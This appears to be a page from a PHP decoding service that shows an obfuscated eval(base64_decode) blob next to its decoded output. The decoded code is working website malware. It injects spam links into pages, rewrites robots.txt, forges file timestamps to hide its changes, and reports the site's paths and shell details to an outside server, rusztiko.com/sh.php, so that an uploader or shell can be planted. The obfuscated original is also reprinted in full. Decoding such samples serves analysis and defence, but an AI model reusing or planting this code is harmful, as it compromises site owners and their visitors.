Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("ICAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBbWVyaWNhL0xvc19BbmdlbGVzJy..
Decoded Output download
date_default_timezone_set('America/Los_Angeles');
print "<!-- new -->";
$currentHidePath = "";
function getLongestPrefix($hideScriptPaths, $path) {
$currentHidePath = "";
$long = 0;
$prefix = "";
foreach ($hideScriptPaths as $currentPath) {
$len = strlen($currentPath) > strlen($path) ? strlen($path) : strlen($currentPath);
$currentLength = 0;
for ($i = 0; $i < $len; $i++) {
if ($path[$i] == $currentPath[$i]) {
$currentLength++;
} else {
if ($long < $currentLength) {
$long = $currentLength;
$prefix = substr($path, 0, $i);
$currentHidePath = $currentPath;
}
break;
}
}
}
return $currentHidePath;
}
$dbFiles = array("links_db.php", "database.php", "system.php", "db.php", "sysdb.php");
function checkUploaderExistence() {
$dbFiles = array("links_db.php", "database.php", "system.php", "db.php", "sysdb.php");
$self = dirname(__FILE__);
$result = "";
foreach ($dbFiles as $fileName) {
if (file_exists($self.DIRECTORY_SEPARATOR.$fileName)) {
$fp = fopen($self.DIRECTORY_SEPARATOR.$fileName, "r");
$line = fgets($fp, 4096);
fclose($fp);
if (preg_match("/uploader/i", $line)) {
if (filesize($self.DIRECTORY_SEPARATOR.$fileName) == 10) {
unlink($self.DIRECTORY_SEPARATOR.$fileName);
} else {
$result = $self.DIRECTORY_SEPARATOR.$fileName;
}
}
}
}
return $result;
}
$self = realpath(dirname(__FILE__));
$hidePaths = array();
$uploaderFileName = checkUploaderExistence();
if ($uploaderFileName != "") {
//print "PRINT LINKS";
$fp = fopen($uploaderFileName, "r");
fgets($fp, 4096);
$line= "";
while (!feof($fp)) {
$line .= fgets($fp, 4096);
}
fclose($fp);
$links = json_decode($line, true);
$var = base64_decode(trim($links["template"]));
$linkTempl = base64_decode(trim($links["linkTemplate"]));
$text = "";
foreach ($links["links"] as $link) {
$textA = str_replace('|SENTENCE_BEFORE|', $link["sentenceBefore"], $linkTempl);
$textA = str_replace('|HREF|', $link["href"], $textA);
$textA = str_replace('|ANCHOR|', $link["anchor"], $textA);
$textA = str_replace('|ANCHOR_TEXT|', $link["anchorText"], $textA);
$textA = str_replace('|ANCHOR_H1|', $link["anchorH1"], $textA);
$textA = str_replace('|SENTENCE_AFTER|', $link["sentenceAfter"], $textA);
$text .= $textA;
}
$var = str_replace('|HIDE_PATH|', $link["hidePath"], $var);
$var = str_replace('|LINKS|', $text, $var);
print $var;
} else {
$scriptName = trim(preg_replace('/\(.*$/', '', __FILE__));
$time2 = strtotime('2011-08-22 13:51:35');
if (filemtime($scriptName) != $time2) {
$fileO = fopen($self.DIRECTORY_SEPARATOR."robots_db.txt", "r");
$documentRoot = realpath($_SERVER["DOCUMENT_ROOT"]);
$robotPath = $documentRoot.DIRECTORY_SEPARATOR."robots.txt";
if (file_exists($robotPath)) {
$time = filemtime($robotPath);
} else {
$time = strtotime('2010-08-22 13:51:35');
}
$fp1 = fopen($robotPath, "w");
$str = "User-agent: *
";
while (!feof($fileO)) {
$line = realpath(trim(fgets($fileO, 4096)));
if (stristr($line, $documentRoot) != FALSE) {
$hidePaths[] = $line;
$str .= "Disallow: " . preg_replace('/\/', "/", str_replace($documentRoot, "", $line)). "
";
}
}
fwrite($fp1, $str);
fclose($fp1);
touch($robotPath, $time);
fclose($fileO);
$currentHidePath = getLongestPrefix($hidePaths, $self);
// need to add new site
$localHidePath = str_replace(realpath($_SERVER["DOCUMENT_ROOT"]), "", $currentHidePath).DIRECTORY_SEPARATOR."script.js";
$localHidePath = preg_replace('/\/', "/", $localHidePath);
$uploaderDir = $_SERVER["HTTP_HOST"].str_replace(realpath($_SERVER["DOCUMENT_ROOT"]), "", $self).DIRECTORY_SEPARATOR;
$address = "66.147.244.241";
$dbFilename = $dbFiles[array_rand($dbFiles)];
$manual = true;
$upl_filename = urlencode("pluginn.php");
$server = "http://rusztiko.com";
$uploaderDir = preg_replace('/\/', "/", $uploaderDir);
$shell_upload = urlencode("$uploaderDir");
$shell_address = urlencode($address);
$shell_hide = urlencode($localHidePath);
$shell_path = urlencode(realpath($self));
if (ini_get("allow_url_fopen") == 1) {
$manual = false;
$response = file_get_contents($server."/sh.php?".
"upload_path=$shell_upload".
"&path=$shell_path".
"&shell_address=$shell_address".
"&type=general".
"&shell_hide=$shell_hide".
"&db=$dbFilename".
"&uploader_filename=$upl_filename");
if ($response == "OK") {
touch($scriptName, $time2);
if (file_exists($self.DIRECTORY_SEPARATOR."robots_db.txt")) {
unlink($self.DIRECTORY_SEPARATOR."robots_db.txt");
}
} else {
$manual = true;
}
}
if ($manual) {
$scr =<<<HTML
<script>
document.write("<img src=$server/sh.php?upload_path=$shell_upload&path=$shell_path" +
"&shell_address=$shell_address" +
"&type=general" +
"&shell_hide=$shell_hide" +
"&db=$dbFilename" +
"&uploader_filename=$upl_filename/>");
</script>
HTML;
print $scr;
touch($scriptName, $time2);
if (file_exists($self.DIRECTORY_SEPARATOR."robots_db.txt")) {
unlink($self.DIRECTORY_SEPARATOR."robots_db.txt");
}
}
}
}
Did this file decode correctly?
Original Code
eval(base64_decode("ICAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBbWVyaWNhL0xvc19BbmdlbGVzJyk7DQogICAgcHJpbnQgIjwhLS0gbmV3IC0tPiI7DQogICAgJGN1cnJlbnRIaWRlUGF0aCA9ICIiOw0KICAgIGZ1bmN0aW9uIGdldExvbmdlc3RQcmVmaXgoJGhpZGVTY3JpcHRQYXRocywgJHBhdGgpIHsNCiAgICAgICAgJGN1cnJlbnRIaWRlUGF0aCA9ICIiOw0KICAgICAgICAkbG9uZyAgID0gMDsNCiAgICAgICAgJHByZWZpeCA9ICIiOw0KDQogICAgICAgIGZvcmVhY2ggKCRoaWRlU2NyaXB0UGF0aHMgYXMgJGN1cnJlbnRQYXRoKSB7DQogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjdXJyZW50UGF0aCkgPiBzdHJsZW4oJHBhdGgpID8gc3RybGVuKCRwYXRoKSA6IHN0cmxlbigkY3VycmVudFBhdGgpOw0KICAgICAgICAgICAgJGN1cnJlbnRMZW5ndGggPSAwOw0KICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbjsgJGkrKykgew0KICAgICAgICAgICAgICAgIGlmICgkcGF0aFskaV0gPT0gJGN1cnJlbnRQYXRoWyRpXSkgew0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudExlbmd0aCsrOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkbG9uZyA8ICRjdXJyZW50TGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbG9uZyA9ICRjdXJyZW50TGVuZ3RoOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHByZWZpeCA9IHN1YnN0cigkcGF0aCwgMCwgJGkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRIaWRlUGF0aCA9ICRjdXJyZW50UGF0aDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRjdXJyZW50SGlkZVBhdGg7DQogICAgfQ0KICAgICRkYkZpbGVzICAgICAgICAgICAgPSBhcnJheSgibGlua3NfZGIucGhwIiwgImRhdGFiYXNlLnBocCIsICJzeXN0ZW0ucGhwIiwgImRiLnBocCIsICJzeXNkYi5waHAiKTsNCiAgICBmdW5jdGlvbiBjaGVja1VwbG9hZGVyRXhpc3RlbmNlKCkgew0KICAgICAgICAkZGJGaWxlcyAgICAgICAgICAgID0gYXJyYXkoImxpbmtzX2RiLnBocCIsICJkYXRhYmFzZS5waHAiLCAic3lzdGVtLnBocCIsICJkYi5waHAiLCAic3lzZGIucGhwIik7DQogICAgICAgICRzZWxmICAgICAgICAgICAgICAgPSBkaXJuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgJHJlc3VsdCAgICAgICAgICAgICA9ICIiOw0KICAgICAgICBmb3JlYWNoICgkZGJGaWxlcyBhcyAkZmlsZU5hbWUpIHsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSkpIHsNCiAgICAgICAgICAgICAgICAkZnAgPSBmb3Blbigkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSwgInIiKTsNCiAgICAgICAgICAgICAgICAkbGluZSA9IGZnZXRzKCRmcCwgNDA5Nik7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goIi91cGxvYWRlci9pIiwgJGxpbmUpKSB7DQogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlc2l6ZSgkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSkgPT0gMTApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHNlbGYuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZU5hbWU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KDQogICAgJHNlbGYgICAgICAgICAgID0gcmVhbHBhdGgoZGlybmFtZShfX0ZJTEVfXykpOw0KICAgICRoaWRlUGF0aHMgICAgICA9IGFycmF5KCk7DQoNCg0KICAgICR1cGxvYWRlckZpbGVOYW1lICAgPSBjaGVja1VwbG9hZGVyRXhpc3RlbmNlKCk7DQogICAgaWYgKCR1cGxvYWRlckZpbGVOYW1lICE9ICIiKSB7DQogICAgICAgIC8vcHJpbnQgIlBSSU5UIExJTktTIjsNCiAgICAgICAgJGZwID0gZm9wZW4oJHVwbG9hZGVyRmlsZU5hbWUsICJyIik7DQogICAgICAgIGZnZXRzKCRmcCwgNDA5Nik7DQogICAgICAgICRsaW5lPSAiIjsNCiAgICAgICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsNCiAgICAgICAgICAgICRsaW5lIC49IGZnZXRzKCRmcCwgNDA5Nik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRmcCk7DQoNCiAgICAgICAgJGxpbmtzICAgICA9IGpzb25fZGVjb2RlKCRsaW5lLCB0cnVlKTsNCiAgICAgICAgJHZhciAgICAgICA9IGJhc2U2NF9kZWNvZGUodHJpbSgkbGlua3NbInRlbXBsYXRlIl0pKTsNCiAgICAgICAgJGxpbmtUZW1wbCA9IGJhc2U2NF9kZWNvZGUodHJpbSgkbGlua3NbImxpbmtUZW1wbGF0ZSJdKSk7DQogICAgICAgICR0ZXh0ICAgICAgPSAiIjsNCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICBmb3JlYWNoICgkbGlua3NbImxpbmtzIl0gYXMgJGxpbmspIHsNCiAgICAgICAgICAgICR0ZXh0QSA9IHN0cl9yZXBsYWNlKCd8U0VOVEVOQ0VfQkVGT1JFfCcsICRsaW5rWyJzZW50ZW5jZUJlZm9yZSJdLCAkbGlua1RlbXBsKTsNCiAgICAgICAgICAgICR0ZXh0QSA9IHN0cl9yZXBsYWNlKCd8SFJFRnwnLCAkbGlua1siaHJlZiJdLCAkdGV4dEEpOw0KICAgICAgICAgICAgJHRleHRBID0gc3RyX3JlcGxhY2UoJ3xBTkNIT1J8JywgJGxpbmtbImFuY2hvciJdLCAkdGV4dEEpOw0KICAgICAgICAgICAgJHRleHRBID0gc3RyX3JlcGxhY2UoJ3xBTkNIT1JfVEVYVHwnLCAkbGlua1siYW5jaG9yVGV4dCJdLCAkdGV4dEEpOw0KICAgICAgICAgICAgJHRleHRBID0gc3RyX3JlcGxhY2UoJ3xBTkNIT1JfSDF8JywgJGxpbmtbImFuY2hvckgxIl0sICR0ZXh0QSk7DQogICAgICAgICAgICAkdGV4dEEgPSBzdHJfcmVwbGFjZSgnfFNFTlRFTkNFX0FGVEVSfCcsICRsaW5rWyJzZW50ZW5jZUFmdGVyIl0sICR0ZXh0QSk7DQogICAgICAgICAgICAkdGV4dCAuPSAkdGV4dEE7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICAkdmFyID0gc3RyX3JlcGxhY2UoJ3xISURFX1BBVEh8JywgJGxpbmtbImhpZGVQYXRoIl0sICR2YXIpOw0KICAgICAgICAkdmFyID0gc3RyX3JlcGxhY2UoJ3xMSU5LU3wnLCAkdGV4dCwgJHZhcik7DQogICAgICAgIA0KICAgICAgICBwcmludCAkdmFyOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRzY3JpcHROYW1lID0gdHJpbShwcmVnX3JlcGxhY2UoJy9cKC4qJC8nLCAnJywgX19GSUxFX18pKTsNCiAgICAgICAgJHRpbWUyID0gc3RydG90aW1lKCcyMDExLTA4LTIyIDEzOjUxOjM1Jyk7DQoNCiAgICAgICAgaWYgKGZpbGVtdGltZSgkc2NyaXB0TmFtZSkgIT0gJHRpbWUyKSB7DQogICAgICAgICAgICAkZmlsZU8gPSBmb3Blbigkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiJyb2JvdHNfZGIudHh0IiwgInIiKTsNCiAgICAgICAgICAgICRkb2N1bWVudFJvb3QgPSByZWFscGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCg0KICAgICAgICAgICAgJHJvYm90UGF0aCA9ICRkb2N1bWVudFJvb3QuRElSRUNUT1JZX1NFUEFSQVRPUi4icm9ib3RzLnR4dCI7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHJvYm90UGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkdGltZSA9IGZpbGVtdGltZSgkcm9ib3RQYXRoKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJzIwMTAtMDgtMjIgMTM6NTE6MzUnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRmcDEgID0gZm9wZW4oJHJvYm90UGF0aCwgInciKTsNCiAgICAgICAgICAgICRzdHIgID0gIlVzZXItYWdlbnQ6ICpcclxuIjsNCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkZmlsZU8pKSB7DQogICAgICAgICAgICAgICAgJGxpbmUgPSByZWFscGF0aCh0cmltKGZnZXRzKCRmaWxlTywgNDA5NikpKTsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXN0cigkbGluZSwgJGRvY3VtZW50Um9vdCkgIT0gRkFMU0UpIHsNCiAgICAgICAgICAgICAgICAgICAgJGhpZGVQYXRoc1tdID0gJGxpbmU7DQogICAgICAgICAgICAgICAgICAgICRzdHIgLj0gIkRpc2FsbG93OiAiIC4gcHJlZ19yZXBsYWNlKCcvXFxcLycsICIvIiwgc3RyX3JlcGxhY2UoJGRvY3VtZW50Um9vdCwgIiIsICRsaW5lKSkuICJcclxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmd3JpdGUoJGZwMSwgJHN0cik7DQogICAgICAgICAgICBmY2xvc2UoJGZwMSk7DQogICAgICAgICAgICB0b3VjaCgkcm9ib3RQYXRoLCAkdGltZSk7DQoNCiAgICAgICAgICAgIGZjbG9zZSgkZmlsZU8pOw0KICAgICAgICAgICAgJGN1cnJlbnRIaWRlUGF0aCA9IGdldExvbmdlc3RQcmVmaXgoJGhpZGVQYXRocywgJHNlbGYpOw0KDQogICAgICAgICAgICAvLyBuZWVkIHRvIGFkZCBuZXcgc2l0ZQ0KICAgICAgICAgICAgJGxvY2FsSGlkZVBhdGggID0gc3RyX3JlcGxhY2UocmVhbHBhdGgoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSksICIiLCAkY3VycmVudEhpZGVQYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiJzY3JpcHQuanMiOw0KICAgICAgICAgICAgJGxvY2FsSGlkZVBhdGggID0gcHJlZ19yZXBsYWNlKCcvXFxcLycsICIvIiwgJGxvY2FsSGlkZVBhdGgpOw0KICAgICAgICAgICAgJHVwbG9hZGVyRGlyICAgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdLnN0cl9yZXBsYWNlKHJlYWxwYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pLCAiIiwgJHNlbGYpLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgICAgICAgICAkYWRkcmVzcyAgICAgICAgPSAiNjYuMTQ3LjI0NC4yNDEiOw0KICAgICAgICAgICAgJGRiRmlsZW5hbWUgICAgID0gJGRiRmlsZXNbYXJyYXlfcmFuZCgkZGJGaWxlcyldOw0KICAgICAgICAgICAgJG1hbnVhbCA9IHRydWU7DQogICAgICAgICAgICAkdXBsX2ZpbGVuYW1lICAgPSB1cmxlbmNvZGUoInBsdWdpbm4ucGhwIik7DQogICAgICAgICAgICAkc2VydmVyICAgICAgICAgPSAiaHR0cDovL3J1c3p0aWtvLmNvbSI7DQogICAgICAgICAgICAkdXBsb2FkZXJEaXIgICAgPSBwcmVnX3JlcGxhY2UoJy9cXFwvJywgIi8iLCAkdXBsb2FkZXJEaXIpOw0KICAgICAgICAgICAgJHNoZWxsX3VwbG9hZCAgID0gdXJsZW5jb2RlKCIkdXBsb2FkZXJEaXIiKTsNCiAgICAgICAgICAgICRzaGVsbF9hZGRyZXNzICA9IHVybGVuY29kZSgkYWRkcmVzcyk7DQogICAgICAgICAgICAkc2hlbGxfaGlkZSAgICAgPSB1cmxlbmNvZGUoJGxvY2FsSGlkZVBhdGgpOw0KICAgICAgICAgICAgJHNoZWxsX3BhdGggICAgID0gdXJsZW5jb2RlKHJlYWxwYXRoKCRzZWxmKSk7ICAgICAgICAgICAgDQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmIChpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSA9PSAxKSB7DQogICAgICAgICAgICAgICAgJG1hbnVhbCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzZXJ2ZXIuIi9zaC5waHA/Ii4NCiAgICAgICAgICAgICAgICAgICAgInVwbG9hZF9wYXRoPSRzaGVsbF91cGxvYWQiLg0KICAgICAgICAgICAgICAgICAgICAiJnBhdGg9JHNoZWxsX3BhdGgiLg0KICAgICAgICAgICAgICAgICAgICAiJnNoZWxsX2FkZHJlc3M9JHNoZWxsX2FkZHJlc3MiLg0KICAgICAgICAgICAgICAgICAgICAiJnR5cGU9Z2VuZXJhbCIuDQogICAgICAgICAgICAgICAgICAgICImc2hlbGxfaGlkZT0kc2hlbGxfaGlkZSIuDQogICAgICAgICAgICAgICAgICAgICImZGI9JGRiRmlsZW5hbWUiLg0KICAgICAgICAgICAgICAgICAgICAiJnVwbG9hZGVyX2ZpbGVuYW1lPSR1cGxfZmlsZW5hbWUiKTsNCg0KICAgICAgICAgICAgICAgIGlmICgkcmVzcG9uc2UgPT0gIk9LIikgew0KICAgICAgICAgICAgICAgICAgICB0b3VjaCgkc2NyaXB0TmFtZSwgJHRpbWUyKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRzZWxmLkRJUkVDVE9SWV9TRVBBUkFUT1IuInJvYm90c19kYi50eHQiKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdW5saW5rKCRzZWxmLkRJUkVDVE9SWV9TRVBBUkFUT1IuInJvYm90c19kYi50eHQiKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRtYW51YWwgPSB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBpZiAoJG1hbnVhbCkgew0KICAgICAgICAgICAgICAgICRzY3IgPTw8PEhUTUwNCiAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSRzZXJ2ZXIvc2gucGhwP3VwbG9hZF9wYXRoPSRzaGVsbF91cGxvYWQmcGF0aD0kc2hlbGxfcGF0aCIgKw0KICAgICAgICAgICAgICAgICAgICAiJnNoZWxsX2FkZHJlc3M9JHNoZWxsX2FkZHJlc3MiICsgDQogICAgICAgICAgICAgICAgICAgICImdHlwZT1nZW5lcmFsIiArDQogICAgICAgICAgICAgICAgICAgICImc2hlbGxfaGlkZT0kc2hlbGxfaGlkZSIgKyANCiAgICAgICAgICAgICAgICAgICAgIiZkYj0kZGJGaWxlbmFtZSIgKw0KICAgICAgICAgICAgICAgICAgICAiJnVwbG9hZGVyX2ZpbGVuYW1lPSR1cGxfZmlsZW5hbWUvPiIpOw0KICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4NCkhUTUw7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcHJpbnQgJHNjcjsNCiAgICAgICAgICAgICAgICB0b3VjaCgkc2NyaXB0TmFtZSwgJHRpbWUyKTsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHNlbGYuRElSRUNUT1JZX1NFUEFSQVRPUi4icm9ib3RzX2RiLnR4dCIpKSB7DQogICAgICAgICAgICAgICAgICAgIHVubGluaygkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiJyb2JvdHNfZGIudHh0Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IA0KICAgIH0="));
Function Calls
base64_decode | 1 |
Stats
MD5 | 489aa3e2bc57b8432d20f19fa0eda933 |
Eval Count | 1 |
Decode Time | 110 ms |